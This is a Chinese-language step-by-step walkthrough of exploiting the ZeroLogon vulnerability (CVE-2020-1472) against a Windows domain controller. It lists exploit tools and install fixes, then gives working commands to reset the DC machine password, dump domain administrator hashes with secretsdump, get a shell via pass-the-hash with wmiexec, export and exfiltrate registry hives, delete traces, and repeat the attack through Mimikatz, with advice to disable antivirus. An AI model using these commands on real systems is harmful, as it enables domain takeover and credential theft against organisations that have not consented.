CVE-2020-1472攻擊過程
漏洞介紹
在今年9月份,國外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞詳情,網上也隨即公開了Exp。是近幾年windows上比較重量級別的一個漏洞。通過該漏洞,攻擊者只需能夠訪問域控的445端口,在無需任何憑據的情況下能拿到域管的權限。該漏洞的產生來源於Netlogon協議認證的加密模塊存在缺陷,導致攻擊者可以在沒有憑證的情況情況下通過認證。該漏洞的最穩定利用是調用netlogon中RPC函數NetrServerPasswordSet2來重置域控的密碼,從而以域控的身份進行Dcsync獲取域管權限。CVE-2020-1472來重置域控密碼。注意,這里是域控密碼,不是域管的密碼。是域控這個機器用戶的密碼。可能對域不是很熟悉的人對這點不是很了解。在域內,機器用戶跟域用戶一樣,是域內的成員,他在域內的用戶名是機器用戶+$(如DC2016\$),在本地的用戶名是SYSTEM。在擁有域控的機器用戶密碼的情況下,並不能直接使用該密碼登錄域控,因為機器用戶是不可以登錄的,但是因為域控的機器用戶具備Dcsync特權,我們就可以濫用該特權來進行Dcsync
環境
攻擊機 windows 10
域控服務器 windows server 2012 192.168.139.147
python 3.8
准備工具
https://github.com/VoidSec/CVE-2020-1472
https://github.com/maaaaz/impacket-examples-windows 【這是下面包中腳本轉成的exe】
https://github.com/SecureAuthCorp/impacket
impacket需要使用最新的要用Impacket v0.9.22.dev1+20200915.160006.1397e2b5,並不是release中,或者pip中直接指定的
建議:git clone https://github.com/SecureAuthCorp/impacket.git
當然也可以直接
其次如果使用的linux,執行腳本在出現$之類的特殊字符需要\轉義,我在window下執行,沒遇到這個問題
域和計算機名搞混淆,導致參數填寫錯誤,哪個是域,哪個是計算機名,看下圖
關於坑點:
在windows中有python啟動器,py -3指定使用python3,防止選錯python版本
安裝impacket這步,手動安裝,並且把requirements.txt中的impacket==0.9.21這行去掉,不然執行py -3 pip install -r requirements.txt安裝其他庫時,impacket又裝一遍,會覆蓋掉最新版
安裝過程:
先卸載舊版本:
py -3 -m pip uninstall impacket
安裝新版本:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
py -3 setup.py install
報錯說明
AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',屬於坑點1,手動安裝impacket解決
secretsdump.py執行后無法獲取NTDS.DIT信息,多半是域和計算機名混淆或者出現$未轉義,對照坑點計算機名確認
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)多半是域和計算機名混淆或者出現$未轉義,對照坑點3的圖片,確認下,自己環境中對應的參數填寫正確沒
利用
環境准備就緒以后,運行exp,記得關殺軟
py -3 cve-2020-1472-exploit.py -n DC -t 192.168.1.150
-n 計算機名
-t 域控ip
檢測到存在漏洞,Y繼續清空域控密碼
成功之后用剛剛下載的
impacket-examples-windows
通過secretsdump.exe dump 域管 hash
.\secretsdump.exe -no-pass -just-dc DC$@192.168.1.150
-no-pass 無密碼登錄
-just-dc 僅提取NTDS.DIT數據(NTLM哈希和Kerberos鍵)
DC$@192.168.1.150 計算機名$@域控ip
獲取域控機器shell 和 導出域控計算機帳戶的原始NT哈希
-hashes 域管理員的nthash:lmhash
.\wmiexec.exe –hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
test.com/administrator@192.168.1.150
此時會返回一個交互式域控shell
本地保存文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
下載文件
get system.save
get sam.save
get security.save
擦屁股
del /f system.save
del /f sam.save
del /f security.save
讀取下載的文件計算原本的機器用戶密碼
.\ secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL
隨后把密碼錘回去,這里使用的值是$MACHINE.ACC: 后的hash
Py -3 .\reinstall_original_pw.py DC 192.168.1.150
aad3b435b51404eeaad3b435b51404ee:5af95711c65a1312605ee044a484fb89
Mimikatz利用方式
探測是否存在漏洞
lsadump::zerologon /target:192.168.1.150 /account:DC$
lsadump::zerologon /target:192.168.1.150 /account:DC$ /exploit 攻擊
lsadump::dcsync /domain:test.com /dc:DC /user:Administrator /authuser:DC$ /authdomain:test /authpassword:"" /authntlm
----通過dcsync dump域管hash
提升權限注入會話
privilege::debug
sekurlsa::pth /user:Administrator /doamin:. /rc4:570a9a65db8fba761c1008a51d4c95ab
在注入會話的窗口打開mimikatz 恢復機器用戶密碼 隨后可以開始下一步操作
lsadump::postzerologon /target:192.168.1.150 /account:DC$
參考:
https://www.t00ls.net/viewthread.php?tid=57866&extra=&highlight=cve-2020-1472&page=1